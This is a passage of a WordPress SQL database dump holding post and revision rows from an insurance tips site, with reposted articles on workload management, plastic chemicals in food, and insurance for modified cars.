-->\n<li><strong>List goals to add clarity:</strong>&nbsp;Both short- and long-term goals should be clear to team members. This will help everyone stay focused and motivated and make workload management easier.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>With these tips, you can improve how you manage workloads and get the most from your team.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>Master Workload Management and Boost Your Productivity</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>We all experience busy times at work, but if your team seems more stressed than usual, you might want to consider implementing a workload management process. Workload management can help you and your team stay organized, productive, and balanced.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Rize makes it easy to help your team monitor their time and workload. The app works quietly in the background, automatically tracking work hours and focus time, so your employees can spot when they’re overworking. Try Rize for free for two weeks.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://rize.io/blog/workload-management\">click here.</a></p>\n<!-- /wp:paragraph -->','Try These 9 Steps for Effective Workload Management','','inherit','closed','closed','','3916-revision-v1','','','2024-03-30 02:11:24','2024-03-30 02:11:24','',3916,'https://smartinsurance.tips/?p=3918',0,'revision','',0),(3919,1,'2024-03-30 02:14:54','2024-03-30 02:14:54','<!-- wp:paragraph -->\n<p>CR tested popular fast foods and supermarket staples for bisphenols and phthalates, which can be harmful to your health. Here\'s what we found—and how to stay safer.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3920,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/03/Untitled-17-1024x1024.png\" alt=\"\" class=\"wp-image-3920\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>By the time you open a container of yogurt, the food has taken a long journey to reach your spoon. You may have some idea of that journey: From cow to processing to packaging to store shelves. But at each step, there is a chance for a little something extra to sneak in, a stowaway of sorts that shouldn’t be there.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That unexpected ingredient is something called a plasticizer: a chemical used to make plastic more flexible and durable. Today, plasticizers—the most common of which are called phthalates—show up inside almost all of us, right along with other chemicals found in plastic, including bisphenols such as BPA. These have been linked to a long list of health concerns, even at very low levels.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Consumer Reports has investigated bisphenols and phthalates in food and food packaging a few times over the past 25 years. In our new tests, we checked a wider variety of foods to see how much of the chemicals Americans actually consume. The answer? Quite a lot. Our tests of nearly 100 foods found that despite growing evidence of potential health threats, bisphenols and phthalates remain widespread in our food.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The findings on phthalates are particularly concerning: We found them in almost every food we tested, often at high levels. The levels did not depend on packaging type, and no one particular type of food—say, dairy products or prepared meals—was more likely than another to have them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For example, we found high levels in, among other products, Del Monte sliced peaches, Chicken of the Sea pink salmon, Fairlife Core Power high-protein chocolate milkshakes, Yoplait Original French vanilla low-fat yogurt, and several fast foods, including Wendy’s crispy chicken nuggets, a Chipotle chicken burrito, and a Burger King Whopper with cheese. Organic products were just as problematic: In fact, the highest phthalate levels we found were in a can of Annie’s Organic cheesy ravioli.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Yet some products had much lower levels than others. A serving of Pizza Hut’s Original Cheese Pan Pizza, for example, had half the phthalate levels of a similar pizza from Little Caesars. Levels varied even among products from the same brand: Chef Boyardee Big Bowl Beefaroni pasta in meat sauce had less than half the level of the company’s Beefaroni pasta in tomato and meat sauce.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>\"That tells us that, as widespread as these chemicals are, there are ways to reduce how much is in our foods,\" says James E. Rogers, PhD, who oversees product safety testing at CR. Read more about how CR tested foods for phthalates and bisphenols (PDF).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The trouble is, there are so many ways these chemicals enter our food.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Early efforts to limit exposure to them focused on packaging, but it’s now clear that phthalates in particular can also get in from the plastic in the tubing, conveyor belts, and gloves used during food processing, and can even enter directly into meat and produce via contaminated water and soil.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There are few regulations restricting the use of these chemicals in food production, or requiring that manufacturers test foods for them. But our guide can help you learn how plasticizers get into your food, how to reduce your exposure, and how key changes by industry and regulators could make our food safer.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">The Problem With Plastic Chemicals</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Bisphenols and phthalates in our food are concerning for several reasons.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To start, growing research shows that they are endocrine disruptors, which means that they can interfere with the production and regulation of estrogen and other hormones. Even minor disruptions in hormone levels can contribute to an increased risk of several health problems, including diabetes, obesity, cardiovascular disease, certain cancers, birth defects, premature birth, neurodevelopmental disorders, and infertility.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Those problems typically develop slowly, sometimes over decades, says Philip Landrigan, MD, a pediatrician and the director of the Program for Global Public Health and the Common Good at Boston College. \"Unlike a plane crash, where everyone dies at once, the people who die from these die over many years.\"</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Another concern is that with plastic so ubiquitous in food and elsewhere, the chemicals can’t be completely avoided. And though the human body is pretty good at eliminating bisphenols and phthalates from our systems, our constant exposure to them means that they enter our blood and tissue almost as quickly as they’re eliminated. And plasticizers in particular can easily leach out of plastic and other materials. In addition, the chemicals’ harmful effects may be cumulative, so steady exposure to even very small amounts over time could increase health risks.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>All that makes it difficult to trace any particular bad health outcome—say, a heart attack or breast cancer—to the chemicals. And it makes it hard for regulators to set a limit for what is considered safe for any food. \"As a first step, the key is to determine how widespread the chemicals are in our food supply,\" Rogers says. \"Then we can develop strategies, as a society and individually, to limit our exposure.\"</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">High Risks Even at Low Levels</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>To help figure out the scope of the problem, CR tested a wide range of food items, in a variety of packaging.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Specifically, we tested 85 foods, analyzing two or three samples of each. We looked for common bisphenols and phthalates, as well as some chemicals that are used to replace them. (Read more about these chemical substitutes.) We included prepared meals, fruits and vegetables, milk and other dairy products, baby food, fast food, meat, and seafood, all packaged in cans, pouches, foil, or other material.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The news on BPA and other bisphenols was somewhat reassuring: While we detected them in 79 percent of the tested samples, levels were notably lower than when we last tested for BPA, in 2009, \"suggesting that we are at least moving in the right direction on bisphenols,\" says CR’s Rogers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But there wasn’t any good news on phthalates: We found them in all but one food (Polar raspberry lime seltzer). And the levels were much higher than for bisphenols.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Determining an acceptable level for these chemicals in food is tricky. Regulators in the U.S. and Europe have set thresholds for only bisphenol A (BPA) and a few phthalates, and none of the foods CR tested had amounts exceeding those limits.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But \"many of these thresholds do not reflect the most current scientific knowledge, and may not protect against all the potential health effects,\" says Tunde Akinleye, the CR scientist who oversaw CR’s tests. \"We don’t feel comfortable saying these levels are okay,\" he says. \"They’re not.\"</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The decision to allow these chemicals in food \"is not evidence-based,\" says Ami Zota, ScD, an associate professor of environmental health sciences at the Columbia University Mailman School of Public Health in New York City, who has studied the risks of phthalates.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For example, one of the most well-studied phthalates is called DEHP. Studies have linked it to insulin resistance, high blood pressure, reproductive issues, early menopause, and other concerns at levels well below the limits set by American and European regulators. It was the most common phthalate that we found in our tests, with more than half of the products we tested having levels above what research has linked to health problems.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In addition, Akinleye says that with exposure to these chemicals coming from so many sources—not only food but also other products, such as printed receipts and household dust— it’s difficult to quantify what a \"safe\" limit would be for a single food. \"The more we learn about these chemicals, including how widespread they are, the more it seems clear that they can harm us even at very low levels,\" he says.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Plastic Chemicals in Foods: What Our Tests Found</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The 67 grocery store foods and 18 fast foods CR tested are listed in order of total phthalates per serving. While there is no level that scientists have confirmed as safe, lower levels are better. Our results show that although the chemicals are widespread in our food, levels can vary dramatically even among similar products, so in some cases you may be able to use our chart to choose products with lower levels.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.consumerreports.org/health/food-contaminants/the-plastic-chemicals-hiding-in-your-food-a7358224781/\">click here.</a></p>\n<!-- /wp:paragraph -->','The Plastic Chemicals Hiding in Your Food','','publish','closed','closed','','the-plastic-chemicals-hiding-in-your-food','','','2024-03-30 02:14:56','2024-03-30 02:14:56','',0,'https://smartinsurance.tips/?p=3919',0,'post','',0),(3920,1,'2024-03-30 02:12:44','2024-03-30 02:12:44','','Untitled-17','','inherit','closed','closed','','untitled-17-4','','','2024-03-30 02:12:44','2024-03-30 02:12:44','',3919,'http://smartinsurance.tips/wp-content/uploads/2024/03/Untitled-17.png',0,'attachment','image/png',0),(3921,1,'2024-03-30 02:14:54','2024-03-30 02:14:54','<!-- wp:paragraph -->\n<p>CR tested popular fast foods and supermarket staples for bisphenols and phthalates, which can be harmful to your health. Here\'s what we found—and how to stay safer.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3920,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/03/Untitled-17-1024x1024.png\" alt=\"\" class=\"wp-image-3920\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>By the time you open a container of yogurt, the food has taken a long journey to reach your spoon. You may have some idea of that journey: From cow to processing to packaging to store shelves. But at each step, there is a chance for a little something extra to sneak in, a stowaway of sorts that shouldn’t be there.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That unexpected ingredient is something called a plasticizer: a chemical used to make plastic more flexible and durable. Today, plasticizers—the most common of which are called phthalates—show up inside almost all of us, right along with other chemicals found in plastic, including bisphenols such as BPA. These have been linked to a long list of health concerns, even at very low levels.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Consumer Reports has investigated bisphenols and phthalates in food and food packaging a few times over the past 25 years. In our new tests, we checked a wider variety of foods to see how much of the chemicals Americans actually consume. The answer? Quite a lot. Our tests of nearly 100 foods found that despite growing evidence of potential health threats, bisphenols and phthalates remain widespread in our food.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The findings on phthalates are particularly concerning: We found them in almost every food we tested, often at high levels. The levels did not depend on packaging type, and no one particular type of food—say, dairy products or prepared meals—was more likely than another to have them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For example, we found high levels in, among other products, Del Monte sliced peaches, Chicken of the Sea pink salmon, Fairlife Core Power high-protein chocolate milkshakes, Yoplait Original French vanilla low-fat yogurt, and several fast foods, including Wendy’s crispy chicken nuggets, a Chipotle chicken burrito, and a Burger King Whopper with cheese. Organic products were just as problematic: In fact, the highest phthalate levels we found were in a can of Annie’s Organic cheesy ravioli.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Yet some products had much lower levels than others. A serving of Pizza Hut’s Original Cheese Pan Pizza, for example, had half the phthalate levels of a similar pizza from Little Caesars. Levels varied even among products from the same brand: Chef Boyardee Big Bowl Beefaroni pasta in meat sauce had less than half the level of the company’s Beefaroni pasta in tomato and meat sauce.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>\"That tells us that, as widespread as these chemicals are, there are ways to reduce how much is in our foods,\" says James E. Rogers, PhD, who oversees product safety testing at CR. Read more about how CR tested foods for phthalates and bisphenols (PDF).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The trouble is, there are so many ways these chemicals enter our food.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Early efforts to limit exposure to them focused on packaging, but it’s now clear that phthalates in particular can also get in from the plastic in the tubing, conveyor belts, and gloves used during food processing, and can even enter directly into meat and produce via contaminated water and soil.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There are few regulations restricting the use of these chemicals in food production, or requiring that manufacturers test foods for them. But our guide can help you learn how plasticizers get into your food, how to reduce your exposure, and how key changes by industry and regulators could make our food safer.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">The Problem With Plastic Chemicals</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Bisphenols and phthalates in our food are concerning for several reasons.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To start, growing research shows that they are endocrine disruptors, which means that they can interfere with the production and regulation of estrogen and other hormones. Even minor disruptions in hormone levels can contribute to an increased risk of several health problems, including diabetes, obesity, cardiovascular disease, certain cancers, birth defects, premature birth, neurodevelopmental disorders, and infertility.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Those problems typically develop slowly, sometimes over decades, says Philip Landrigan, MD, a pediatrician and the director of the Program for Global Public Health and the Common Good at Boston College. \"Unlike a plane crash, where everyone dies at once, the people who die from these die over many years.\"</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Another concern is that with plastic so ubiquitous in food and elsewhere, the chemicals can’t be completely avoided. And though the human body is pretty good at eliminating bisphenols and phthalates from our systems, our constant exposure to them means that they enter our blood and tissue almost as quickly as they’re eliminated. And plasticizers in particular can easily leach out of plastic and other materials. In addition, the chemicals’ harmful effects may be cumulative, so steady exposure to even very small amounts over time could increase health risks.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>All that makes it difficult to trace any particular bad health outcome—say, a heart attack or breast cancer—to the chemicals. And it makes it hard for regulators to set a limit for what is considered safe for any food. \"As a first step, the key is to determine how widespread the chemicals are in our food supply,\" Rogers says. \"Then we can develop strategies, as a society and individually, to limit our exposure.\"</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">High Risks Even at Low Levels</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>To help figure out the scope of the problem, CR tested a wide range of food items, in a variety of packaging.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Specifically, we tested 85 foods, analyzing two or three samples of each. We looked for common bisphenols and phthalates, as well as some chemicals that are used to replace them. (Read more about these chemical substitutes.) We included prepared meals, fruits and vegetables, milk and other dairy products, baby food, fast food, meat, and seafood, all packaged in cans, pouches, foil, or other material.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The news on BPA and other bisphenols was somewhat reassuring: While we detected them in 79 percent of the tested samples, levels were notably lower than when we last tested for BPA, in 2009, \"suggesting that we are at least moving in the right direction on bisphenols,\" says CR’s Rogers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But there wasn’t any good news on phthalates: We found them in all but one food (Polar raspberry lime seltzer). And the levels were much higher than for bisphenols.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Determining an acceptable level for these chemicals in food is tricky. Regulators in the U.S. and Europe have set thresholds for only bisphenol A (BPA) and a few phthalates, and none of the foods CR tested had amounts exceeding those limits.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But \"many of these thresholds do not reflect the most current scientific knowledge, and may not protect against all the potential health effects,\" says Tunde Akinleye, the CR scientist who oversaw CR’s tests. \"We don’t feel comfortable saying these levels are okay,\" he says. \"They’re not.\"</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The decision to allow these chemicals in food \"is not evidence-based,\" says Ami Zota, ScD, an associate professor of environmental health sciences at the Columbia University Mailman School of Public Health in New York City, who has studied the risks of phthalates.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For example, one of the most well-studied phthalates is called DEHP. Studies have linked it to insulin resistance, high blood pressure, reproductive issues, early menopause, and other concerns at levels well below the limits set by American and European regulators. It was the most common phthalate that we found in our tests, with more than half of the products we tested having levels above what research has linked to health problems.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In addition, Akinleye says that with exposure to these chemicals coming from so many sources—not only food but also other products, such as printed receipts and household dust— it’s difficult to quantify what a \"safe\" limit would be for a single food. \"The more we learn about these chemicals, including how widespread they are, the more it seems clear that they can harm us even at very low levels,\" he says.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Plastic Chemicals in Foods: What Our Tests Found</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The 67 grocery store foods and 18 fast foods CR tested are listed in order of total phthalates per serving. While there is no level that scientists have confirmed as safe, lower levels are better. Our results show that although the chemicals are widespread in our food, levels can vary dramatically even among similar products, so in some cases you may be able to use our chart to choose products with lower levels.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.consumerreports.org/health/food-contaminants/the-plastic-chemicals-hiding-in-your-food-a7358224781/\">click here.</a></p>\n<!-- /wp:paragraph -->','The Plastic Chemicals Hiding in Your Food','','inherit','closed','closed','','3919-revision-v1','','','2024-03-30 02:14:54','2024-03-30 02:14:54','',3919,'https://smartinsurance.tips/?p=3921',0,'revision','',0),(3922,1,'2024-03-30 02:22:47','2024-03-30 02:22:47','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3923,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/03/Untitled-21-1024x1024.png\" alt=\"\" class=\"wp-image-3923\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>We spend a lot of time in our vehicles, and car modifications can be a way to make them safer, more comfortable or just more fun. From custom rims to adaptive equipment that supports individuals with disabilities, there are many reasons why you might modify your car. Insurance companies often have restrictions on modifications, also known as customizations, that change your vehicle’s performance. Since these changes are made after-market, the value and cost of these parts are not accounted for, and you may want to consider adding modification coverage to your policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What is a modified car?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>A modified car is one that is altered, whether aesthetically or by installing parts, to adjust the car’s performance or to add extra safety features. Some common car modifications include:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Adaptive equipment for disabilities</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Custom paint</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Custom wheels</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Interior and exterior lights</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Racing seats and harness</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Stereo systems</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Supercharger or turbocharger</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Suspension upgrades</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Winch system</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Window tint</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Even if you own your own vehicle, some modifications can void your manufacturer’s warranty, be illegal in your state or against your insurance company’s underwriting guidelines. You may want to check with your insurance agent and local department of motor vehicles before paying for modifications that:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Change your vehicle’s performance</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Boost your vehicle’s speed</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Dramatically raise or lower your vehicle’s suspension</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Lowers your chance of meeting your state’s emissions requirements</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Use nitrous oxide</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Enhance exhaust noise</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Affect your car’s level of safety</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Reduce visibility of your car or the road</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What is modified car insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>A typical car insurance policy with comprehensive and collision coverage, often referred to as full coverage, covers physical damage to your vehicle if it is involved in an accident. However, this coverage may not include modifications or customizations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Some insurance companies offer specified coverage for customization or modification at an additional cost. If you’re involved in an accident and don’t have coverage for the mods, you’ll only be covered up to the original manufacturer version of the car. This could be a substantial loss if your modified parts are also damaged in the accident.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Will insurance companies cover modified cars?</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Some traditional insurance companies offer modification coverage on a regular car insurance policy, but some don’t. You may be able to get a classic car policy with companies like AAA or State Farm, but not all cars qualify. Mods also have to be permanently installed in the vehicle to be covered under a standard car insurance policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There are also specialized car insurance providers who offer coverage for sports cars, hot rods, classics and other modified vehicles, with limitations. Companies like American Modern, Grundy and Hagerty may offer coverage with modifications if your original insurer won’t cover your modifications.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Do I have to tell my insurer about my car modifications?</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>When adding a vehicle to an insurance policy or requesting quotes, insurers may ask if your vehicle has been modified or customized in any way. Not disclosing mods made to your car may be construed as material misrepresentation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you are modifying a vehicle you are already insuring, you might not be required to notify the insurance company, but it may be in your best interest to do so. Comprehensive and collision coverage usually only applies to after-market parts if the policy has a modification endorsement. Without the endorsement, you will likely only receive compensation for the original manufacturer’s version of the car following a covered claim.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>When seeking extra coverage for mods, you’ll likely need to provide receipts and proof that you purchased the items and that they were installed on your vehicle, including pictures of these items installed properly.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Even for vehicles with liability-only coverage, it may be important to contact your insurance provider. Even if you don’t have physical coverage for your own vehicle, mods may affect your coverage eligibility with certain carriers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How much does modified car insurance cost?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The cost of modified car insurance varies depending on how much coverage you need and the types of modifications completed. Since you are asking the insurance company to cover more in the event of a loss, you might end up paying more for car insurance. However, if your modifications improve your vehicle’s safety, you might not experience a higher rate. Depending on the modifications done, the insurance company may also consider insuring the car to be a higher risk, which may also increase the cost of your car insurance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Agreed value policy</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Some companies offer an agreed value policy to cover car mods, which may be the best choice for modified car insurance. An agreed value policy states the value of your car including all modifications, which both you and the insurance company agree to. If you are involved in a covered accident, the insurance company will pay up to the agreed value to repair or replace your car.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Some agreed value or specialty car insurers will also offer coverage for restorations and spare parts. These optional coverage types typically cost more but may provide even better financial protection while your car is being restored or if you have spare parts or specialty tools to work on it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Can I get discounts for car modifications?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Although insurers may not charge higher insurance rates for modifications that improve your vehicle’s safety features, like dash cams, you probably won’t find discounts for these modifications.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>After making updates to your vehicle, it is understandable that you may want to look for ways to save money on your car insurance. Taking advantage of discounts or lowering your insurable risk as a driver may help you find cheap coverage. Some other discounts you may want to look for include:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Telematics discounts:</strong> Many carriers offer telematics programs that could reward you with a lower rate for demonstrating safe driving habits.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Student discounts:</strong>&nbsp;Students may be able to save on their premiums with potential discounts for good grades or enrolling in a defensive driving course.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Payment discounts:</strong> These savings opportunities may be some of the easiest to earn. You might lower your rates by paying your premium in full or enrolling in paperless or automatic billing.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.bankrate.com/insurance/car/car-modifications/#can-i-get-discounts-for-car-modifications\">click here.</a></p>\n<!-- /wp:paragraph -->','Car Insurance For a Car With Modifications','','publish','closed','closed','','car-insurance-for-a-car-with-modifications-2','','','2024-03-30 02:22:48','2024-03-30 02:22:48','',0,'https://smartinsurance.tips/?p=3922',0,'post','',0),(3923,1,'2024-03-30 02:21:20','2024-03-30 02:21:20','','Untitled-21','','inherit','closed','closed','','untitled-21-4','','','2024-03-30 02:21:20','2024-03-30 02:21:20','',3922,'http://smartinsurance.tips/wp-content/uploads/2024/03/Untitled-21.png',0,'attachment','image/png',0),(3924,1,'2024-03-30 02:22:47','2024-03-30 02:22:47','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3923,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/03/Untitled-21-1024x1024.png\" alt=\"\" class=\"wp-image-3923\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>We spend a lot of time in our vehicles, and car modifications can be a way to make them safer, more comfortable or just more fun. From custom rims to adaptive equipment that supports individuals with disabilities, there are many reasons why you might modify your car. Insurance companies often have restrictions on modifications, also known as customizations, that change your vehicle’s performance. Since these changes are made after-market, the value and cost of these parts are not accounted for, and you may want to consider adding modification coverage to your policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What is a modified car?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>A modified car is one that is altered, whether aesthetically or by installing parts, to adjust the car’s performance or to add extra safety features. Some common car modifications include:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Adaptive equipment for disabilities</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Custom paint</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Custom wheels</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Interior and exterior lights</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Racing seats and 